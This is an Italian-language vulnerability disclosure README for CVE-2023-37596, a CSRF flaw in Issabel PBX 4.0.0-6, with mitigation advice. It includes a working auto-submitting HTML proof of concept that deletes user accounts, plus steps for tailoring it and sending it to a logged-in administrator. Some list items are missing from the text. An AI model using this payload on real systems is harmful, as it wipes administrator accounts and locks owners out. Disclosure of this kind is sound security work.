sahiloj/cve-2023-37596CVE-2023-37596 è una vulnerabilità di Cross-Site Request Forgery (CSRF) scoperta in Issabel PBX versione 4.0.0-6, una piattaforma open-source di Unified Communications ampiamente utilizzata.
Severità: Alta | CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H) | CWE: CWE-352
Una vulnerabilità di Cross-Site Request Forgery (CSRF) è stata scoperta in Issabel PBX versione 4.0.0-6. L'endpoint di gestione utenti non implementa alcuna protezione CSRF, il che consente a un attaccante remoto non autenticato di creare una pagina web dannosa che — quando visitata da un amministratore Issabel autenticato — elimina silenziosamente qualsiasi account utente dal sistema. Lo sfruttamento ripetuto può rendere l'intera applicazione inaccessibile rimuovendo tutti gli utenti amministrativi.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2023-37596 |
| Tipo di vulnerabilità | Cross-Site Request Forgery (CSRF) |
| CWE | CWE-352 |
| Prodotto | Issabel PBX |
| Versione vulnerabile | 4.0.0-6 |
| Homepage del fornitore | https://www.issabel.org/ |
| Repository del software | https://github.com/IssabelFoundation/issabelPBX |
| Testato su | Windows |
| CVE pubblicato | 10/07/2023 |
| Scoperta da | Sahil Ojha |
Poiché Issabel PBX non convalida l'origine delle richieste che modificano lo stato verso la sua interfaccia di gestione utenti, un attacco CSRF riuscito consente a un attaccante di:
| Prodotto | Versione vulnerabile | Stato |
|---|---|---|
| issabel-pbx | 4.0.0-6 | Vulnerabile |
Un attaccante ospita una pagina HTML dannosa contenente una richiesta HTTP contraffatta che ha come target l'endpoint di eliminazione utenti dell'applicazione Issabel PBX. L'attacco viene innescato automaticamente (o al clic di un pulsante) quando un utente già autenticato in Issabel visita la pagina dannosa nello stesso browser. Poiché il browser include automaticamente i cookie di sessione della vittima in ogni richiesta, il server accetta la richiesta di eliminazione contraffatta come legittima.
Non sono richiesti privilegi speciali dal lato dell'attaccante — è sufficiente un vettore di ingegneria sociale (link di phishing, annuncio malevolo, ecc.) per attirare l'amministratore autenticato sulla pagina appositamente creata.
Caratteristiche principali di questo attacco:
id=1, id=2, …) può essere preso di mira modificando il payload.Navigare fino alla pagina dell'elenco utenti di Issabel PBX e autenticarsi con le credenziali di amministratore:
https://<Issabel-IP>/index.php?menu=userlist
Burp Suite produrrà una pagina HTML simile a quella qui sotto. Salvarla come file .html (ad es., csrf_exploit.html):
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<Issabel-IP>/index.php?menu=userlist" method="POST">
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
// Auto-submit the form as soon as the page loads
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Nota: Sostituire
<Issabel-IP>con l'indirizzo IP o il nome host del server di destinazione e modificare il valoreidper prendere di mira un account utente diverso.
Inviare il file csrf_exploit.html (o un link a dove è ospitato) a un utente attualmente connesso a Issabel PBX. Quando la vittima apre la pagina, il modulo viene inviato automaticamente e l'utente target viene eliminato senza alcun prompt di conferma.
Le seguenti difese dovrebbero essere applicate dal fornitore e/o dagli amministratori di sistema per rimediare a questa vulnerabilità:
Implementare token CSRF — Generare un token crittograficamente casuale, per sessione (o per richiesta) e convalidarlo lato server per ogni richiesta che modifica lo stato. Le richieste che non trasportano un token valido devono essere rifiutate.
Attributo del cookie SameSite — Impostare l'attributo SameSite del cookie di sessione su Strict o Lax per impedire che le richieste cross-origin trasportino il cookie di sessione nella maggior parte dei browser.
Verificare l'intestazione Origin / Referer — Lato server, rifiutare qualsiasi richiesta che modifica lo stato la cui intestazione Origin o Referer non corrisponde al dominio dell'applicazione.
Richiedere la ri-autenticazione per le azioni distruttive — Chiedere all'utente di reinserire la propria password prima di elaborare azioni irreversibili come l'eliminazione di account utente.
Applicare il principio del privilegio minimo — Assicurarsi che solo gli utenti con un ruolo amministrativo esplicito possano accedere alla funzionalità di eliminazione utenti, riducendo il raggio d'impatto di un attacco riuscito.
Fino a quando non sarà disponibile una patch del fornitore, si consiglia agli amministratori di:
| Data | Evento |
|---|---|
| 10/07/2023 | Vulnerabilità scoperta e segnalata |
| 10/07/2023 | CVE-2023-37596 assegnato |
Sahil Ojha
Nota di esclusione di responsabilità: Questo repository è pubblicato esclusivamente a scopo educativo e di divulgazione responsabile. Le informazioni qui fornite non devono essere utilizzate per attaccare sistemi senza esplicita autorizzazione scritta del proprietario del sistema. L'autore non si assume alcuna responsabilità per un uso improprio di queste informazioni.